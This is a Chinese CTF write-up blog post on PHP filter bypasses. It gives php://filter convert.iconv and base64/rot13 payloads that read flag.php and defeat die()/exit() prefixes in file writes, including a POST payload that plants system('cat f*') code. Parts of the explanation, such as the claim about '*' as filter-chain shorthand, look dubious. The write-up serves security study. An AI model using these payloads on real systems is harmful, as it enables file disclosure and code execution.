xctf实战案例-过滤器绕过

<?php
highlight_file(__FILE__);
include("./check.php");  
if(isset($_GET['filename']))
{    
$filename = $_GET['filename'];   
include($filename);  }
?>

题目源码如上

(1)直接访问 /flag.php 文件,结果返回为空(因为不是 404,证明确实存在该文件)

(2)以我们需要对 flag.php 内容进行编码后再进行包含(base64,encode被过滤了,用不了)

本关考察的 PHP 伪协议是 php://filter,使用的过滤器是 convert.iconv.,你可以理解为使用 iconv() 函数处理所有的输入输出流。convert.iconv. 过滤器使用方法有如下两种:

convert.iconv.<input-encoding>.<output-encoding>

or

convert.iconv.<input-encoding>/<output-encoding>

其中 <input-encoding><output-encoding>就是编码的方式,PHP 支持的字符编码可以从 PHP 官网获取

[convert.iconv - PHP 的内置字符集转换过滤器

<input-encoding> - 源文件的编码(如 UTF-8、GBK、ISO-8859-1 等)

<output-encoding>- 要转换成的目标编码]

convert.iconv.UTF-8.UTF-7

UTF-8 转 UTF-7

convert.iconv.UTF-8.UTF-16

UTF-8 转 UTF-16

convert.iconv.UTF-8.UTF-16LE

UTF-8 转 UTF-16 小端序

convert.iconv.UTF-8.UTF-16BE

UTF-8 转 UTF-16 大端序

convert.iconv.UTF-8.ISO-8859-1

UTF-8 转 Latin-1

convert.iconv.UTF-8.GBK

UTF-8 转 GBK(中文)

(3)首先请求上面的 Payload 模板,并使用 BurpSuite 进行抓包,然后将 PHP 支持的字符编码作为参数替换 <input-encoding><output-encoding> 的内容:同时要把那个url编码关了,否则他会转码

配置完成后,开始爆破,然后按照返回包的长度进行排序,我们可以很快得到一个可用的 Payload

?filename=php://filter/convert.iconv.CP1252.UTF32*/resource=flag.php

补充:?filename=php://filter/convert.iconv.CP1252.UTF-32*/resource=flag.php

星号 *在这里是过滤器链的缩写

(1)星号 \*的含义

*是 PHP 中过滤器链的简写,等价于:

convert.iconv.CP1252.UTF-32/convert.iconv.UTF-32.UTF-8

所以完整的过滤器链是:

CP1252 → UTF-32 → UTF-8

(2)为什么这样构造?

1. 绕过死亡 exit 技巧

常见防御代码:

<?php
$content = '<?php exit(); ?>';
$content .= $_GET['txt'];
file_put_contents($filename, $content);

利用原理

<?php exit(); ?>的 16 进制:3C 3F 70 68 70 20 65 78 69 74 28 29 3B 20 3F 3E

经过 CP1252 → UTF-32 → UTF-8转换后,这些字节会被破坏

但我们的恶意代码仍然能正常执行

2.原始:<?php exit(); ?>

CP1252 → UTF-32:每个字符变成4字节
UTF-32 → UTF-8:重新编码,破坏原结构

例题一:rot13

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
    highlight_file(__FILE__);
}

一个写文件的题,但是有过滤,不允许包含 php , data , :. 但是在写入操作的时候,会把 file 参数进行 urldecode,所以我们可以两次 urldecode 来绕过过滤,然后只需要考虑如何绕过 <?php die('大佬别秀了');?> 中的 die() 即可

我们可以尝试使用 Base64 绕过 die(),Base64 的编码范围是 0-9 , a-z , A-Z , +/ ,其他字符会被忽略,去掉不支持的字符,只剩下了 phpdie 了,因为 Base64 解码是按照 4 位 一组进行解码的,所以我们需要在最终编码出来的字符串中最前面添加两个字母,以达到 Base64 解码的规则,即先写入,再读取

// 需要两次URL编码
GET: ?file=php://filter/convert.base64-decode/resource=1.php
// 需要base64编码,编码后最前面添加两个字母如:aa
POST: content=<?php system('cat f*');

另一种方法是使用 Rot13 编码

字符串过滤器 作用
string.rot13 等同于 str_rot13(),rot13 变换
// 需要两次URL编码
GET: ?file=php://filter/string.rot13/resource=1.php
// 需要Rot13编码
POST: content=<?php system('cat f*');

Rot13 解码后写入的文件内容变为了

<?cuc qvr('大佬别秀了');?><?php system('cat f*');

这样就可以绕过 die()

posted @ 2026-06-18 13:00  Doll_Marker  阅读(6)  评论(0)    收藏  举报